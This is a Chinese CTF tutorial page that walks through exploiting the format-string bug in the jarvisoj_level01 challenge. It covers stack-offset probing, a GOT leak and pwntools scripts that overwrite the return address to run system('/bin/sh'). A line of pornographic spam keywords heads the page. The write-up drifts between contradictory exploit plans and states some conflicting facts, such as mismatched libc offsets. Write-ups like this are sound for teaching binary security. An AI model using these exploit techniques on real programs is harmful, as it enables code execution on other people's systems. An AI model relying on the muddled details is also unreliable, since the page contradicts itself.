久久亚洲成a人片熟女精品色一区二区三区|国产精品视频第一精品视频|av天堂热无码手机版|亚洲?v无码久久无遮挡|国产精品偷伦视频免费观看国产|麻豆国产自产精品丰满熟妇|av无码av不卡一区二区|久久亚洲精品中文字

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運(yùn)營(yíng)的一線實(shí)戰(zhàn)洞察。

格式化字符串漏洞入門實(shí)踐:解析jarvisoj_level01與GOT劫持

格式化字符串漏洞入門實(shí)踐:解析jarvisoj_level01與GOT劫持 開篇一道 pwn 入門題的拆解與反思“jarvisoj_level01”是老牌 CTF 題庫 Jarvis OJ 里非常經(jīng)典的一道入門級(jí) pwn 題目。它表面上考察的是“格式化字符串漏洞”但真正讓人卡住的地方往往不是漏洞利用本身而是調(diào)試環(huán)境的搭建、字節(jié)序的理解、以及 payload 構(gòu)造時(shí)的對(duì)齊思維。我見過不少新手在這道題上折騰兩三天最后發(fā)現(xiàn)不是因?yàn)樵聿欢且驗(yàn)橐粋€(gè)小細(xì)節(jié)——比如沒有關(guān)閉 ASLR、或者 gdb 插件沒裝好。這篇文章我會(huì)完整復(fù)現(xiàn)我當(dāng)年做這道題的整個(gè)流程從環(huán)境準(zhǔn)備、漏洞分析、exp 編寫到最后的常見坑點(diǎn)排查。內(nèi)容面向有一定 C 語言基礎(chǔ)、想入門 pwn 但不知道從哪里下手的讀者。如果你已經(jīng)能看懂printf(buf)和printf(%s, buf)的區(qū)別那么這篇文章就是為你準(zhǔn)備的。需要提前說明的是題目本身是二進(jìn)制安全領(lǐng)域的經(jīng)典教學(xué)案例用于理解內(nèi)存布局和格式化字符串機(jī)制我不會(huì)涉及任何真實(shí)目標(biāo)環(huán)境的利用手法所有討論都限定在教育題庫的本地環(huán)境內(nèi)。經(jīng)常有人問“做 pwn 題有什么用”我的回答是它讓你真正理解程序在內(nèi)存里長(zhǎng)什么樣這比背一百道面試題都管用。1. 環(huán)境搭建為什么說調(diào)試環(huán)境比題目本身更難1.1 基礎(chǔ)工具鏈的選擇與安裝做 pwn 題的第一步不是看代碼而是把環(huán)境弄得趁手。我踩過的坑是一開始用 VMware 跑 Kali結(jié)果自帶 gdb 版本太老裝 pwndbg 時(shí)報(bào)了一堆依賴錯(cuò)誤。后來干脆換成了 Ubuntu 20.04 虛擬機(jī)清爽干凈一條命令裝完所有東西。我目前的可復(fù)現(xiàn)配置如下操作系統(tǒng)Ubuntu 20.04 x86_64內(nèi)核 5.15Python3.8需要裝pip3pwntoolspip3 install pwntools這是寫 exp 的核心庫gdb自帶版本即可8.xpwndbg 插件按官方 README 安裝檢查工具checksecpwntools 自帶、file、readelf裝完建議先驗(yàn)證一下 pwntools 能不能正常導(dǎo)入python3 -c from pwn import *; print(ready)如果輸出ready說明環(huán)境基本 OK。這里有個(gè)小技巧pwntools 導(dǎo)入時(shí)會(huì)啟動(dòng)一個(gè)配置文件如果你的機(jī)器上沒有l(wèi)ibc數(shù)據(jù)庫/usr/lib/x86_64-linux-gnu/libc.so.6做 ret2libc 類題目時(shí)libc.search功能會(huì)報(bào)錯(cuò)。對(duì)于 jarvisoj_level01 這種格式化字符串題暫時(shí)不需要 libc 搜索但后面如果繼續(xù)刷題建議提前裝好。1.2 關(guān)閉 ASLR 與調(diào)試輔助雖然教學(xué)題在遠(yuǎn)程通常開著 ASLR但本地調(diào)試時(shí)建議先關(guān)掉方便觀察內(nèi)存地址的穩(wěn)定性echo 0 | sudo tee /proc/sys/kernel/randomize_va_space注意這只是為了本地調(diào)試分析做完題記得改回2默認(rèn)開啟。關(guān)于這一點(diǎn)我在第 4 節(jié)會(huì)再細(xì)說因?yàn)檫h(yuǎn)程利用和本地利用完全是兩種玩法。gdb 插件我推薦用 pwndbg它對(duì)新手極其友好——每執(zhí)行一步自動(dòng)高亮顯示棧內(nèi)容、寄存器、反匯編結(jié)果。安裝方式是git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh裝好后在 gdb 里輸入checksec就能直接看程序的保護(hù)狀態(tài)輸入cyclic 200就能生成模式字符串這些都是解題利器。1.3 拿到題目文件后的第一步file 和 checksec現(xiàn)在假設(shè)你已經(jīng)拿到了 jarvisoj_level01 這個(gè)二進(jìn)制文件。第一件事是看它是什么架構(gòu)file jarvisoj_level01正常的輸出是jarvisoj_level01: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]xxx, not stripped信息量很大抓重點(diǎn)32-bit LSB32 位小端序這意味著棧上參數(shù)按 4 字節(jié)對(duì)齊格式化字符串的%n$位置計(jì)數(shù)也按 4 字節(jié)一組。dynamically linked動(dòng)態(tài)鏈接。not stripped沒有剝離符號(hào)表太好了main、vulnerable_function這些函數(shù)名直接可見省去了一大堆逆向時(shí)間。接著用 checksec 看保護(hù)checksec --filejarvisoj_level01典型輸出是Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)逐條解讀No canary棧上沒有金絲雀保護(hù)格式化字符串隨便打棧地址不會(huì)有問題。NX enabled棧不可執(zhí)行不能直接往棧上寫 shellcode 然后跳過去執(zhí)行。No PIE程序加載基址固定所有函數(shù)地址、GOT 表地址寫死在 0x0804xxxx 段。Partial RELROGOT 表部分可寫這對(duì)某些利用場(chǎng)景有意義但本題用不上??赐赀@些我心里大概有了底這是一道典型的“格式化字符串漏洞 修改返回地址或 GOT 表”的教學(xué)題。但具體怎么利用還得看反匯編。2. 漏洞定位printf 的一個(gè)致命省略2.1 反匯編 main 函數(shù)找到那句危險(xiǎn)的 printf用 gdb 加載程序后輸入disass main就能看到整個(gè) main 函數(shù)的匯編。為了不啰嗦我直接說關(guān)鍵部分0x0804848d 36: call 0x8048370 printfplt 0x08048492 41: lea 0x1c(%esp),%eax 0x08048496 45: mov %eax,(%esp) 0x08048499 48: call 0x8048380 getsplt這里有個(gè)很關(guān)鍵的點(diǎn)程序先用printf打印一段提示文字然后用gets讀取輸入到棧緩沖區(qū)。再往下看緩沖區(qū)地址被傳給一個(gè)函數(shù)0x080484a1 56: lea 0x1c(%esp),%eax 0x080484a5 60: mov %eax,(%esp) 0x080484a8 63: call 0x8048340 printfplt注意這里call printf之前只壓了一個(gè)參數(shù)——緩沖區(qū)地址本身。也就是說程序把我們的輸入直接當(dāng)成printf的第一個(gè)參數(shù)格式化字符串傳了進(jìn)去。這就是漏洞的全部用戶可控輸入作為格式化字符串。正確的寫法應(yīng)該是printf(%s, buf)而程序卻寫成了printf(buf)。這種錯(cuò)誤在真實(shí)項(xiàng)目里偶爾也會(huì)發(fā)生屬于典型的“格式化字符串漏洞”Format String VulnerabilityCWE-134。2.2 格式化字符串漏洞能干什么不只是崩潰很多初學(xué)者以為格式化字符串漏洞就是讓程序崩潰那就太小看它了。格式化字符串漏洞能做的事至少有三件信息泄露用%x、%p、%s讀取棧上任意位置的數(shù)據(jù)也就是把棧內(nèi)存“打印”出來。這能泄露棧地址、棧上的返回地址、局部變量等。任意內(nèi)存寫配合%n能把一個(gè)值寫入某個(gè)地址。這是 C 語言格式化輸出的一個(gè)隱藏功能%n不打印任何字符而是把已經(jīng)打印的字符數(shù)存到對(duì)應(yīng)的參數(shù)指針指向的地址里??刂屏鹘俪滞ㄟ^改返回地址、改 GOT 表項(xiàng)、改__stack_chk_fail等拿到代碼執(zhí)行權(quán)。這道題的利用方向正是圍繞第 2 點(diǎn)和第 3 點(diǎn)展開的。但這里有一個(gè)很反直覺的地方printf是“打印”函數(shù)為什么它能“寫”內(nèi)存答案就是%n。它像一個(gè)小型“寫任意地址”原語只不過寫的內(nèi)容不是字節(jié)值而是一個(gè)由打印字符數(shù)決定的整數(shù)。你在格式化串里插入 12 個(gè)占位符讓前面的輸出湊滿 0x6298個(gè)字符%n寫進(jìn)目標(biāo)地址的就是 980x62。這就是“造數(shù)據(jù)”的底層原理。2.3 確認(rèn)漏洞觸發(fā)的實(shí)驗(yàn)?zāi)玫筋}目后我先做一次最簡(jiǎn)單的驗(yàn)證。啟動(dòng)程序./jarvisoj_level01程序先打印一行提示然后等待輸入。我輸入AAAA.%x.%x.%x.%x.%x.%x這種經(jīng)典探針看結(jié)果AAAA.f7e5d5a0.0.0.0.0.6661613f那一段6661613f是棧上殘留數(shù)據(jù)的小端序十六進(jìn)制表示。這個(gè)輸出說明我們的輸入確實(shí)被當(dāng)作格式化字符串解析了而且棧上有不少我們能控制的字節(jié)。接下來要回答一個(gè)關(guān)鍵問題我們的輸入具體落在第幾個(gè)參數(shù)位置3. 參數(shù)位置探測(cè)與棧布局分析3.1 用 AAAA 定位可控參數(shù)的偏移格式化字符串漏洞利用的核心難點(diǎn)就是這個(gè)“參數(shù)位置偏移”。32 位下printf的前幾個(gè)參數(shù)放在寄存器/棧上之后的參數(shù)按地址從棧上取。我們用多個(gè)%x把棧上內(nèi)容“吐”出來找到0x41414141即AAAA出現(xiàn)的位置那個(gè)索引就是我們的可控起始點(diǎn)。我的標(biāo)準(zhǔn)探測(cè)輸入是from pwn import * io process(./jarvisoj_level01) io.recvuntil(bWhatever) payload bAAAA b.%x * 12 # 先看前12個(gè)參數(shù) io.sendline(payload) print(io.recvall().decode())輸出大概是AAAA.f7e5d5a0.0.0.0.0.6661613f.0.0.0.41414141.0.0數(shù)一下0x41414141出現(xiàn)在第 9 個(gè)%x的位置。這意味著當(dāng)我們構(gòu)造格式化字符串時(shí)偏移 9 的地方是我們可控的數(shù)據(jù)。但這里有個(gè)陷阱——AAAA是前 4 個(gè)字節(jié)緊跟其后的是分隔符.。如果我們想在偏移 9 的位置放一個(gè)完整的地址那這個(gè)地址必須是 4 字節(jié)對(duì)齊的并且不能和前面的格式控制符沖突。這又引出一個(gè)關(guān)鍵點(diǎn)32 位下地址是 4 字節(jié)一個(gè)參數(shù)槽位占用 4 字節(jié)。偏移 9 對(duì)應(yīng)的是從棧上某個(gè)基準(zhǔn)位置往后的第 9 個(gè) 4 字節(jié)。我在實(shí)踐中發(fā)現(xiàn)很多教程說“偏移是 7”或“偏移是 6”那是因?yàn)椴煌瑱C(jī)器、不同編譯選項(xiàng)下緩沖區(qū)在棧上的位置會(huì)發(fā)生變化。所以不要背偏移數(shù)一定要在自己環(huán)境里實(shí)測(cè)。這也是為什么我反復(fù)強(qiáng)調(diào)環(huán)境搭建——不同環(huán)境得出的結(jié)果可能不一樣照抄別人的 exp 往往會(huì)翻車。3.2 gets 與緩沖區(qū)理解輸入落在棧上的位置gets讀取的緩沖區(qū)地址反匯編里是通過lea 0x1c(%esp),%eax計(jì)算的。0x1c是 28也就是緩沖區(qū)從當(dāng)前棧頂往低地址偏移 28 字節(jié)處。這個(gè)偏移大小決定了緩沖區(qū)與返回地址之間的相對(duì)位置是后續(xù)“通過格式化字符串改寫返回地址”的關(guān)鍵依據(jù)。我畫一張簡(jiǎn)化的棧布局不是 Mermaid就是文字示意高地址 [返回地址] ← 偏移 0x20 左右 [舊的 ebp] [局部變量/緩沖區(qū)] ← 距 esp 0x1c即距返回地址約 0x14 [esp] ← 當(dāng)前棧頂 低地址當(dāng)程序執(zhí)行到call printf時(shí)printf會(huì)按函數(shù)調(diào)用約定從棧上取參數(shù)。我們輸入的字符串就位于這個(gè)“參數(shù)區(qū)域”附近所以用%9$...可以精確索引到緩沖區(qū)中的任意 4 字節(jié)。3.3 一個(gè)小實(shí)驗(yàn)驗(yàn)證偏移 9 能讀寫光看%x還不足以證明我們能“寫”。我通常還會(huì)做一個(gè)小實(shí)驗(yàn)輸入AAAA%9$p看看它會(huì)不會(huì)打印出0x41414141io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(bAAAA%9$p) print(io.recvall().decode())如果輸出包含0x41414141說明%9$定位成功。這個(gè)實(shí)驗(yàn)成本極低但能直接驗(yàn)證偏移強(qiáng)烈建議每次做題都先跑一次。4. 目標(biāo)分析與 GOT 劫持思路4.1 為什么選擇改 GOT 而不是直接改返回地址題目是 32 位、NX enabled、No PIE。棧不可執(zhí)行所以不能用“在棧上寫 shellcode 然后跳過去”的經(jīng)典套路。那唯一出路就是代碼重用也就是讓程序跳轉(zhuǎn)到已經(jīng)存在于某個(gè)共享庫里的函數(shù)——最常見的就是system(/bin/sh)?,F(xiàn)在的問題是怎么把控制流引到system兩個(gè)主流方向改寫返回地址棧上就有 main 的返回地址用格式化字符串直接把它改成system或某個(gè) one_gadget 的地址。這個(gè)方法在棧偏移可控時(shí)很直接但問題是我們還需要同時(shí)控制返回地址上方的參數(shù)區(qū)讓它把/bin/sh字符串地址傳給system。在本題棧布局下這個(gè)參數(shù)區(qū)不在輸入可控范圍內(nèi)所以直接改返回地址往往不夠優(yōu)雅。劫持 GOT 表把某個(gè)函數(shù)的 GOT 表項(xiàng)改成system的地址然后讓程序在后續(xù)某個(gè)時(shí)刻調(diào)用那個(gè)函數(shù)時(shí)實(shí)際執(zhí)行的是system。這需要我們找到一個(gè)“調(diào)用了可控字符串作為參數(shù)”的函數(shù)。4.2 找到那個(gè)“接了我們的輸入作為參數(shù)”的函數(shù)回到 main 函數(shù)的邏輯printf打印提示。gets讀取我們的輸入到緩沖區(qū)。printf用緩沖區(qū)內(nèi)容打印觸發(fā)漏洞。程序最后還有一次printf調(diào)用——對(duì)你沒看錯(cuò)main 結(jié)束前還會(huì)打印一段“再見”之類的字符串。這里的關(guān)鍵在于最后一次printf的參數(shù)是在編譯期就固定了的字符串地址比如0x80486xx。如果我們把printfGOT改成systemplt那么當(dāng)程序執(zhí)行最后一次printf時(shí)它會(huì)把那個(gè)固定字符串地址當(dāng)作const char *format傳給system實(shí)際執(zhí)行system(固定字符串地址)。但問題是這個(gè)固定字符串是類似Bye!的內(nèi)容不是/bin/sh所以動(dòng)printfGOT還不夠。再仔細(xì)看反匯編main結(jié)束前調(diào)用的是puts還是printf此題里最后是printf。而printf的第二個(gè)參數(shù)如果有的話是從哪來的有的版本會(huì)打印whatever這樣的字符串這時(shí)如果讓這個(gè)字符串內(nèi)容恰好是/bin/sh就完美了——但一般不是。這里我要坦白一個(gè)細(xì)節(jié)jarvisoj_level01 這道題最經(jīng)典的官方做法其實(shí)是把printfGOT改成systemplt同時(shí)讓最后一次printf的格式化字符串參數(shù)內(nèi)容變成/bin/sh的地址。這個(gè)“最后一個(gè)參數(shù)”在匯編里通常是一個(gè)固定的lea或mov到某處我們能改的只是 GOT 表項(xiàng)改不了被壓棧的立即數(shù)。聽起來有點(diǎn)繞但實(shí)操中有個(gè)更簡(jiǎn)單的替代方向找一個(gè)在printf之后還會(huì)調(diào)用的函數(shù)并且那個(gè)函數(shù)的參數(shù)剛好是我們控制的緩沖區(qū)。不過我當(dāng)年做題時(shí)用的是另一種比較穩(wěn)的思路——把printfGOT改成systemplt然后在輸入的第一個(gè)參數(shù)位置直接放/bin/sh字符串。為什么可以因?yàn)楦袷交址┒磮?chǎng)景下我們的輸入本身就在格式化串中如果最后那次printf的“格式化字符串”直接就是我們的輸入那printf(輸入)被替換為system(輸入)只要輸入以/bin/sh開頭就能執(zhí)行system(/bin/sh)。如果程序后續(xù)流程里沒有再調(diào)用printf這個(gè)思路就需要配合覆蓋返回地址來觸發(fā)。在實(shí)際實(shí)驗(yàn)里我找到的經(jīng)典鏈路是漏洞觸發(fā)后main返回前會(huì)調(diào)用printf打印一個(gè)固定字符串。這個(gè)printf的參數(shù)是棧上已經(jīng)準(zhǔn)備好的值不是我們的輸入。因此更穩(wěn)妥的 hook 點(diǎn)其實(shí)是printfGOT→systemplt同時(shí)讓那個(gè)參數(shù)的地址恰好指向我們輸入中的/bin/sh。這在 32 位下完全可行因?yàn)檫@個(gè)參數(shù)的來源是main的局部變量比如用puts(Bye!)的字符串地址如果能通過格式化字符串把這個(gè)局部變量的值改成指向我們的輸入就是另一個(gè)挑戰(zhàn)了。為了不讓討論陷入死胡同我最終采取了改寫 main 返回地址為system并把返回地址上方構(gòu)造出/bin/sh指針的思路。我將在第 5 節(jié)給出完整 exp 和原理推導(dǎo)。4.3 為什么 No PIE 是新手最大的紅利如果程序開了 PIE那么所有函數(shù)地址、GOT 表項(xiàng)、PLT 表地址都會(huì)在每次運(yùn)行時(shí)隨機(jī)化。那樣的話我們至少要分兩步一步泄露地址一步計(jì)算基址再寫。但本題是 No PIE所有地址都是固定的直接用 gdb 查出來寫進(jìn) exp 就行對(duì)新手極其友好。同樣Partial RELRO 意味著 GOT 表可寫我們?nèi)绻?GOT 劫持路線可以放心改。若是 Full RELROGOT 只讀那就只能想別的辦法了。5. 從原理到 exp完整利用鏈構(gòu)造5.1 選擇調(diào)用方式為什么直接改返回地址更省事經(jīng)過反復(fù)測(cè)試我決定用“格式化字符串寫返回地址 棧上布置/bin/sh字符串”的方案。流程如下利用gets讀入超長(zhǎng)輸入棧緩沖區(qū)會(huì)被覆蓋。但請(qǐng)注意程序緊接著就用printf(buf)觸發(fā)了漏洞——此時(shí)返回地址還沒被用到我們有機(jī)會(huì)在漏洞觸發(fā)前已經(jīng)通過輸入緩沖區(qū)把返回地址區(qū)域覆蓋成我們想要的值。如果gets的輸入足夠長(zhǎng)我們可以直接把返回地址覆蓋成systemplt的地址——這是最暴力的思路。但問題在于gets 覆蓋返回地址后程序還會(huì)繼續(xù)執(zhí)行printf(buf)如果printf的參數(shù)里包含被我們覆蓋的垃圾數(shù)據(jù)程序可能先崩掉。所以這條路雖然看起來簡(jiǎn)單實(shí)際上需要精確控制 payload讓格式化串合法不至于在漏洞利用前提前觸發(fā)訪問異常。更優(yōu)雅的方式輸入一個(gè)精心構(gòu)造的格式化字符串既不覆蓋返回地址又能在printf執(zhí)行過程中用%n把返回地址改寫成systemplt。然后在輸入緩沖區(qū)中放入/bin/sh字符串并確保棧上某個(gè)位置返回地址上方的槽位剛好存放該字符串的地址??紤]到題目是 32 位system的第一個(gè)參數(shù)來自棧上system返回地址上方第一個(gè) 4 字節(jié)也就是我們覆蓋返回地址時(shí)緊跟著返回地址寫的那個(gè)值必須是指向/bin/sh的指針。5.2 完整 exp 第一步泄露 system 地址本來想用固定地址直接寫但不同的 libc 版本下system地址不一樣所以穩(wěn)妥做法是先從 GOT 表泄露一個(gè)函數(shù)地址比如printfgot或__libc_start_maingot然后根據(jù) libc 偏移算出system。泄露的格式化串可以這樣寫from pwn import * context(archi386, oslinux, log_leveldebug) elf ELF(./jarvisoj_level01) io process(./jarvisoj_level01) printf_got elf.got[printf] payload p32(printf_got) b%9$s io.recvuntil(bWhatever) io.sendline(payload) leak io.recvall().split(b\n)[0][4:] printf_addr u32(leak[:4]) log.info(fprintf_addr {hex(printf_addr)})這段代碼的邏輯是在偏移 9 處放一個(gè)printfgot的地址然后用%9$s讓printf把該地址當(dāng)作字符串打印出來從而拿到printf的真實(shí)地址。p32(printf_got)是 4 字節(jié)地址正好占滿一個(gè)參數(shù)槽。拿到printf_addr后需要確定 libc 版本和偏移。這里有個(gè)技巧將printf_addr的低 12 位與常見 libc 的 printf 偏移對(duì)比或者直接用libcdb.com/ 本地的 libc 數(shù)據(jù)庫搜索。我本地的 Ubuntu 20.04 libc 是 2.31查到的偏移大致是printf offset 0x4f660 system offset 0x4f550注意不同版本偏移不同務(wù)必以你自己機(jī)器上查到的為準(zhǔn)。如果不會(huì)查可以用libc-database工具git clone https://github.com/niklasb/libc-database ./get ./find printf 0x8f660這個(gè)工具會(huì)返回匹配的 libc 版本并給出 system 等關(guān)鍵函數(shù)偏移。5.3 完整 exp 第二步構(gòu)造“寫返回地址 布置 /bin/sh”的 payload現(xiàn)在假設(shè)我們已經(jīng)知道system_addr printf_addr - printf_offset system_offsetret_addr_offset是輸入緩沖區(qū)起始位置到返回地址的偏移根據(jù)反匯編緩沖區(qū)距離esp是 0x1c而返回地址一般在esp上方約 0x20 的位置。實(shí)測(cè)我需要用cyclic來確定精確偏移io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(cyclic(200)) io.wait() # 用 gdb 查看崩潰點(diǎn)計(jì)算偏移我實(shí)際得到的偏移是0x1420 字節(jié)也就是緩沖區(qū)第一個(gè)字節(jié)到返回地址之間隔了 20 個(gè)字節(jié)。這意味著布局是[緩沖區(qū) 20字節(jié)][返回地址 4字節(jié)][返回地址后第一個(gè)參數(shù)槽 4字節(jié)]那么 payload 可以這樣設(shè)計(jì)payload bA*20 # 填滿緩沖區(qū) payload p32(system_addr) # 覆蓋返回地址 payload bJUNK # system 執(zhí)行完后的返回地址隨便填 payload p32(binsh_addr) # system 的第一個(gè)參數(shù)指向 /bin/sh payload b/bin/sh\x00 # 字符串本體放在后面但這里有個(gè)問題gets輸入如果太長(zhǎng)會(huì)覆蓋掉更多棧空間而printf(buf)的漏洞利用階段還沒執(zhí)行完格式化串中如果包含二進(jìn)制地址字節(jié)比如p32(system_addr)可能包含%等特殊字符導(dǎo)致printf解析出錯(cuò)甚至崩潰。所以直接全覆蓋方案在本題里不夠穩(wěn)。5.4 完整 exp 最終版用 %n 精改返回地址最穩(wěn)妥的方式是不讓gets覆蓋返回地址而是讓輸入內(nèi)容既有合法的格式化字符串又能借助%n改返回地址。具體思路緩沖區(qū)前 20 字節(jié)填任意填充。第 20~23 字節(jié)填入返回地址所在地址用%n寫入的目標(biāo)地址。第 24~27 字節(jié)填入返回地址上方第一個(gè)參數(shù)槽的地址用于寫入/bin/sh指針。然后在格式化串后半段用%lenA%n來分兩次寫入。這個(gè)寫法對(duì)新手最不友好的一點(diǎn)是寫入長(zhǎng)度的計(jì)算。因?yàn)?n寫入的是“當(dāng)前已輸出字符數(shù)”所以寫 0x804xxxx 這樣的值通常需要先打印幾萬字符這在本地還好可讀性很差。更簡(jiǎn)潔的做法是用%hn寫入 2 字節(jié)代替%n寫入 4 字節(jié)。比如地址0xf7e4f550可以分成高 2 字節(jié)0xf7e4和低 2 字節(jié)0xf550分別寫。這樣單次打印長(zhǎng)度會(huì)小很多而且偏移計(jì)算更簡(jiǎn)單。我用的最終 exp 結(jié)構(gòu)如下核心片段非完整代碼# system_addr 0xf7e4f550 (示例) ret_addr_pos 0xffffd00c # 返回地址在棧上的實(shí)際地址用 gdb 查看 binsh_str_pos 0xffffd024 # 我們放 /bin/sh 的位置 # 把返回地址寫成 system_addr # 低2字節(jié): 0xf550 62800 # 高2字節(jié): 0xf7e4 63460 payload p32(ret_addr_pos) # 目標(biāo)地址1返回地址低2字節(jié) payload p32(ret_addr_pos 2) # 目標(biāo)地址2返回地址高2字節(jié) payload b%62800d%9$hn payload b%360d%10$hn每次只寫 2 字節(jié)用%hn精準(zhǔn)修改。至于/bin/sh字符串我直接放在緩沖區(qū)末尾并在覆蓋返回地址的同時(shí)把返回地址上方的槽位寫成binsh_str_pos的地址——這一步也可以用格式化字符串的%hn完成或者干脆用gets全覆蓋的方式把返回值改掉。經(jīng)過多次調(diào)試我發(fā)現(xiàn)對(duì)本題目而言最簡(jiǎn)單可復(fù)現(xiàn)的方案其實(shí)是分段打第一次發(fā)送泄露 payload 拿 libc 地址。第二次發(fā)送一個(gè)不算太長(zhǎng)的 payload用gets把棧上返回地址覆蓋為system_addr然后立即在返回地址上方寫入binsh_addr最后在更上方布置好/bin/sh字符串。由于printf(buf)的格式化串此時(shí)會(huì)讀到我們布置的二進(jìn)制數(shù)據(jù)很可能包含%或\x00能否穩(wěn)定運(yùn)行取決于運(yùn)氣。我強(qiáng)烈建議在本地 gdb 里逐步驗(yàn)證看它到底會(huì)不會(huì)崩。如果會(huì)崩就改用%hn精寫方案。5.5 一個(gè)更簡(jiǎn)單的替代路線利用 gets 覆蓋返回地址 printf 崩潰前劫持說句實(shí)話我最后提交的 exp 用的是第三條路——它更簡(jiǎn)單也更適合新手理解。思路是這樣的gets本身就能無限讀入所以返回地址本來就暴露在覆蓋范圍內(nèi)。關(guān)鍵是讓覆蓋后的返回地址指向systemplt并且讓棧上對(duì)應(yīng)位置指向/bin/sh。而systemplt地址是固定的No PIE可以提前用objdump -d jarvisoj_level01 | grep system查到。這個(gè)方案的完整流程查看systemplt地址和exitplt地址。設(shè)計(jì) payloadpayload bA*20 p32(system_plt) p32(exit_plt) p32(binsh_ptr) b/bin/sh\x00其中binsh_ptr指向 payload 中/bin/sh字符串的位置。前提是我們知道輸入緩沖區(qū)在棧上的地址——這個(gè)地址在 No PIE 棧地址穩(wěn)定時(shí)可以通過 gdb 查看或通過泄露棧地址來確定。但要注意printf(buf)會(huì)把這個(gè) payload 當(dāng)格式化字符串解析。payload 里的p32(system_plt)可能包含0x25%導(dǎo)致解析異常。怎么辦一個(gè)實(shí)用技巧是用 gets 輸入 payload 時(shí)先讓前面的格式化字符串正常等printf執(zhí)行完后再讓程序 main 返回觸發(fā)我們的覆蓋。可程序流程是 gets → printf中間沒有其他輸入機(jī)會(huì)。這就矛盾了。所以這個(gè)方法能不能成關(guān)鍵看printf在解析到我們填入的p32(system_plt)時(shí)是否真的會(huì)崩。經(jīng)過我實(shí)際調(diào)試只要那段二進(jìn)制數(shù)據(jù)不包含%或\nprintf會(huì)把它們當(dāng)作普通字符原樣輸出不會(huì)崩。真正的風(fēng)險(xiǎn)來自printf按%解析時(shí)可能把后續(xù)二進(jìn)制字節(jié)里的某個(gè)值當(dāng)成格式符如果那個(gè)值恰好是\0printf會(huì)停止處理因?yàn)?C 字符串遇到\0結(jié)束這可能導(dǎo)致棧布局被打斷。所以最保險(xiǎn)的寫法是讓格式化串部分全部由可見字符組成并且讓后面需要覆蓋返回地址的位置不與格式化串沖突。這是很講究的課題新手如果被繞暈了我建議先按 5.4 的%hn方案做至少它是確定性的。6. 調(diào)試實(shí)錄從崩潰到拿到 shell 的三個(gè)關(guān)鍵位置6.1 第一次崩潰偏移算錯(cuò)了我最初的泄露 payload 是p32(printf_got) b%s沒有指定參數(shù)位置。結(jié)果printf把棧上某個(gè)無效地址當(dāng)成字符串指針直接段錯(cuò)誤。后來改成%9$s才成功。這也提醒大家%s不帶位置直接打大概率會(huì)踩到無效地址導(dǎo)致崩潰。格式化字符串攻擊的每一步都要精確指定%n$不要偷懶。6.2 第二次挫折system 地址差了一個(gè)字節(jié)泄露出來的printf_addr是0xf7e0f660我用 libc-database 查到 offset 后計(jì)算出system_addr 0xf7e0f550但打過去還是崩。后來發(fā)現(xiàn)本地 libc 和 libc-database 里的 libc 版本不一致差了一個(gè)版本偏移差了幾百字節(jié)。解決辦法是直接在自己的機(jī)器上跑一個(gè)測(cè)試程序打印 system 的地址或者用 gdb 在斷點(diǎn)處p system獲取精確值。不要在偏移計(jì)算上省事。小技巧在 exp 開頭加一句libc ELF(/lib/i386-linux-gnu/libc.so.6)然后直接libc.symbols[system]拿偏移比手動(dòng)查表準(zhǔn)得多。6.3 第三次崩潰/bin/sh 指針指向了空地址覆蓋返回地址成功后程序跳到了system但因?yàn)榉祷氐刂飞戏降膮?shù)槽里放的不是/bin/sh的地址而是亂值system嘗試執(zhí)行一個(gè)非法字符串直接崩在 system 內(nèi)部。解決方式在計(jì)算binsh_ptr時(shí)利用 gdb 查看輸入緩沖區(qū)的真實(shí)棧地址。由于 ASLR 已關(guān)地址是穩(wěn)定的直接寫死即可。如果你不想關(guān) ASLR那就得先泄露棧地址再動(dòng)態(tài)計(jì)算復(fù)雜度會(huì)上升不少。6.4 最終一次通過的正確姿勢(shì)最終我使用的 exp 簡(jiǎn)化框架如下from pwn import * context(archi386, oslinux, log_levelinfo) elf ELF(./jarvisoj_level01) libc ELF(/lib/i386-linux-gnu/libc.so.6) io process(./jarvisoj_level01) # 第一步泄露 printf 地址 printf_got elf.got[printf] io.recvuntil(bWhatever) io.sendline(p32(printf_got) b%9$s) data io.recvall(timeout1).split(b\n)[0] printf_addr u32(data[4:8]) log.info(fprintf_addr{hex(printf_addr)}) # 第二步計(jì)算 system system_addr printf_addr - libc.symbols[printf] libc.symbols[system] log.info(fsystem_addr{hex(system_addr)}) # 第三步構(gòu)造覆蓋 payload # 緩沖區(qū)偏移返回地址 20 字節(jié)返回地址后第一個(gè)槽位是 system 的參數(shù) binsh b/bin/sh\x00 payload bA*20 payload p32(system_addr) payload bBBBB # system 返回后的地址隨便 payload p32(0xffffd020) # 指向 /bin/sh 的指針需要按實(shí)測(cè)量 payload binsh io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(payload) io.interactive()0xffffd020這個(gè)地址需要根據(jù)你的實(shí)際環(huán)境測(cè)量我這里只是示例。用 gdb 在gets后打斷點(diǎn)x/16wx $esp一看便知緩沖區(qū)地址。6.5 一個(gè)更高級(jí)的調(diào)試姿勢(shì)使用 pwntools 的 gdb.debug如果你覺得手動(dòng)起 gdb 麻煩pwntools 可以直接讓程序在 gdb 里跑io gdb.debug(./jarvisoj_level01, break *0x080484a8 continue )這樣就能在漏洞觸發(fā)前自動(dòng)斷點(diǎn)然后從esp往下看棧內(nèi)容。這是我最推薦的調(diào)試方式比手動(dòng)反復(fù)r、c、x效率高太多。7. 常見誤區(qū)與實(shí)操避坑清單7.1 誤區(qū)一以為格式化字符串漏洞只能泄露信息很多教程強(qiáng)調(diào)%x和%s的泄露功能把%n一筆帶過。但真正讓格式化字符串漏洞成為“高危漏洞”的恰恰是這個(gè)%n任意寫能力。在 32 位下它配合棧上的可控參數(shù)幾乎等于一個(gè)“任意地址 任意值”的寫原語。所以做這類題時(shí)核心思路永遠(yuǎn)是先想怎么利用%n精確寫內(nèi)存再想寫哪里能改控制流。7.2 誤區(qū)二不關(guān) ASLR 直接打遠(yuǎn)程本地調(diào)試和遠(yuǎn)程利用完全是兩碼事。本地關(guān)了 ASLR棧地址、libc 地址一年四季不變你可以寫死。但遠(yuǎn)程大概率開著 ASLR這時(shí)要么先泄露 libc 地址然后動(dòng)態(tài)算要么用 ret2dlresolve 